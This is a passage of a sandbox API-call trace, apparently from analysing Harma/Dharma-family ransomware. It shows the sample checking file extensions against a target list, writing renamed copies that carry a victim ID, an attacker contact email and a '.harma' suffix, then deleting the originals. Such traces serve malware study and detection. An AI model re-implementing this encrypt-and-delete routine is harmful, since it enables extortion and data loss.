Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString=".jpg") returned 4 [0052.509] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.509] lstrlenW (lpString=".doc") returned 4 [0052.509] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString=".docx") returned 5 [0052.510] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0052.510] lstrlenW (lpString=".pdf") returned 4 [0052.510] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString=".xls") returned 4 [0052.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString=".xlsx") returned 5 [0052.510] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0052.510] lstrlenW (lpString=".ppt") returned 4 [0052.510] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.510] lstrlenW (lpString=".zip") returned 4 [0052.510] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.510] lstrlenW (lpString=".rar") returned 4 [0052.510] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString=".bz2") returned 4 [0052.510] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString=".7z") returned 3 [0052.510] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.510] lstrlenW (lpString=".dbf") returned 4 [0052.510] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.510] lstrlenW (lpString=".1cd") returned 4 [0052.510] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0052.510] lstrlenW (lpString=".jpg") returned 4 [0052.510] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.510] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0052.511] lstrlenW (lpString="VisiorWW.XML") returned 12 [0052.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.511] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=8723) returned 1 [0052.511] CloseHandle (hObject=0x1e0) returned 1 [0052.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0052.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0052.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0052.511] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.511] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.871] GetLastError () returned 0x0 [0052.871] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x2213, lpOverlapped=0x0) returned 1 [0053.271] WriteFile (in: hFile=0x1f4, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0053.272] ReadFile (in: hFile=0x1e0, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.274] WriteFile (in: hFile=0x1f4, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.274] SetEndOfFile (hFile=0x1f4) returned 1 [0053.275] CloseHandle (hObject=0x1f4) returned 1 [0053.275] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.275] SetEndOfFile (hFile=0x1e0) returned 1 [0053.276] CloseHandle (hObject=0x1e0) returned 1 [0053.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0053.276] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0053.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.276] lstrlenW (lpString=".doc") returned 4 [0053.276] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0053.276] lstrlenW (lpString=".docx") returned 5 [0053.276] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0053.276] lstrlenW (lpString=".pdf") returned 4 [0053.276] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0053.276] lstrlenW (lpString=".xls") returned 4 [0053.276] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString=".xlsx") returned 5 [0053.277] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0053.277] lstrlenW (lpString=".ppt") returned 4 [0053.277] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString=".zip") returned 4 [0053.277] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0053.277] lstrlenW (lpString=".rar") returned 4 [0053.277] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString=".bz2") returned 4 [0053.277] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString=".7z") returned 3 [0053.277] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString=".dbf") returned 4 [0053.277] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString=".1cd") returned 4 [0053.277] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString=".jpg") returned 4 [0053.277] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.277] lstrlenW (lpString=".doc") returned 4 [0053.277] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString=".docx") returned 5 [0053.277] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0053.277] lstrlenW (lpString=".pdf") returned 4 [0053.277] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0053.277] lstrlenW (lpString=".xls") returned 4 [0053.277] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString=".xlsx") returned 5 [0053.278] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0053.278] lstrlenW (lpString=".ppt") returned 4 [0053.278] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.278] lstrlenW (lpString=".zip") returned 4 [0053.278] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0053.278] lstrlenW (lpString=".rar") returned 4 [0053.278] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString=".bz2") returned 4 [0053.278] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString=".7z") returned 3 [0053.278] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0053.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.278] lstrlenW (lpString=".dbf") returned 4 [0053.278] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.278] lstrlenW (lpString=".1cd") returned 4 [0053.278] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0053.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0053.278] lstrlenW (lpString=".jpg") returned 4 [0053.278] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0053.278] lstrcmpiW (lpString1=".XML", lpString2=".harma") returned 1 [0053.278] lstrlenW (lpString="STOCKS.XML") returned 10 [0053.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.056] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=2687) returned 1 [0055.056] CloseHandle (hObject=0x1fc) returned 1 [0055.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0055.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.056] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.056] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.057] GetLastError () returned 0x0 [0055.057] ReadFile (in: hFile=0x1fc, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0xa7f, lpOverlapped=0x0) returned 1 [0055.062] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xa80, lpOverlapped=0x0) returned 1 [0055.063] ReadFile (in: hFile=0x1fc, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.063] WriteFile (in: hFile=0x214, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0055.064] SetEndOfFile (hFile=0x214) returned 1 [0055.064] CloseHandle (hObject=0x214) returned 1 [0055.064] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.064] SetEndOfFile (hFile=0x1fc) returned 1 [0055.065] CloseHandle (hObject=0x1fc) returned 1 [0055.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0055.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0055.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.065] lstrlenW (lpString=".doc") returned 4 [0055.065] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.065] lstrlenW (lpString=".docx") returned 5 [0055.066] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0055.066] lstrlenW (lpString=".pdf") returned 4 [0055.066] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString=".xls") returned 4 [0055.066] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString=".xlsx") returned 5 [0055.066] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0055.066] lstrlenW (lpString=".ppt") returned 4 [0055.066] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.066] lstrlenW (lpString=".zip") returned 4 [0055.066] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.066] lstrlenW (lpString=".rar") returned 4 [0055.066] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString=".bz2") returned 4 [0055.066] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString=".7z") returned 3 [0055.066] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.066] lstrlenW (lpString=".dbf") returned 4 [0055.066] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.066] lstrlenW (lpString=".1cd") returned 4 [0055.066] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.066] lstrlenW (lpString=".jpg") returned 4 [0055.066] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString=".doc") returned 4 [0055.067] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString=".docx") returned 5 [0055.067] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0055.067] lstrlenW (lpString=".pdf") returned 4 [0055.067] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString=".xls") returned 4 [0055.067] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString=".xlsx") returned 5 [0055.067] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0055.067] lstrlenW (lpString=".ppt") returned 4 [0055.067] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString=".zip") returned 4 [0055.067] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0055.067] lstrlenW (lpString=".rar") returned 4 [0055.067] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString=".bz2") returned 4 [0055.067] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString=".7z") returned 3 [0055.067] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString=".dbf") returned 4 [0055.067] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString=".1cd") returned 4 [0055.067] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0055.067] lstrlenW (lpString=".jpg") returned 4 [0055.067] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0055.068] lstrcmpiW (lpString1=".emf", lpString2=".harma") returned -1 [0055.068] lstrlenW (lpString="Graph.emf") returned 9 [0055.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.747] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=116724) returned 1 [0056.747] CloseHandle (hObject=0x214) returned 1 [0056.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0056.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0056.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.748] lstrlenW (lpString=".doc") returned 4 [0056.748] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.748] lstrlenW (lpString=".docx") returned 5 [0056.748] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0056.748] lstrlenW (lpString=".pdf") returned 4 [0056.748] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.748] lstrlenW (lpString=".xls") returned 4 [0056.748] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.748] lstrlenW (lpString=".xlsx") returned 5 [0056.748] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0056.748] lstrlenW (lpString=".ppt") returned 4 [0056.748] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.748] lstrlenW (lpString=".zip") returned 4 [0056.748] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.748] lstrlenW (lpString=".rar") returned 4 [0056.748] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.748] lstrlenW (lpString=".bz2") returned 4 [0056.749] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.749] lstrlenW (lpString=".7z") returned 3 [0056.749] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.749] lstrlenW (lpString=".dbf") returned 4 [0056.749] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.749] lstrlenW (lpString=".1cd") returned 4 [0056.749] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.749] lstrlenW (lpString=".jpg") returned 4 [0056.749] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.749] lstrlenW (lpString=".doc") returned 4 [0056.749] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0056.749] lstrlenW (lpString=".docx") returned 5 [0056.749] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0056.749] lstrlenW (lpString=".pdf") returned 4 [0056.749] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0056.749] lstrlenW (lpString=".xls") returned 4 [0056.749] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0056.749] lstrlenW (lpString=".xlsx") returned 5 [0056.749] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0056.750] lstrlenW (lpString=".ppt") returned 4 [0056.750] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.750] lstrlenW (lpString=".zip") returned 4 [0056.750] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0056.750] lstrlenW (lpString=".rar") returned 4 [0056.750] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0056.750] lstrlenW (lpString=".bz2") returned 4 [0056.750] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0056.750] lstrlenW (lpString=".7z") returned 3 [0056.750] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.750] lstrlenW (lpString=".dbf") returned 4 [0056.750] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.750] lstrlenW (lpString=".1cd") returned 4 [0056.750] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0056.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0056.750] lstrlenW (lpString=".jpg") returned 4 [0056.750] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0056.750] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0056.751] lstrlenW 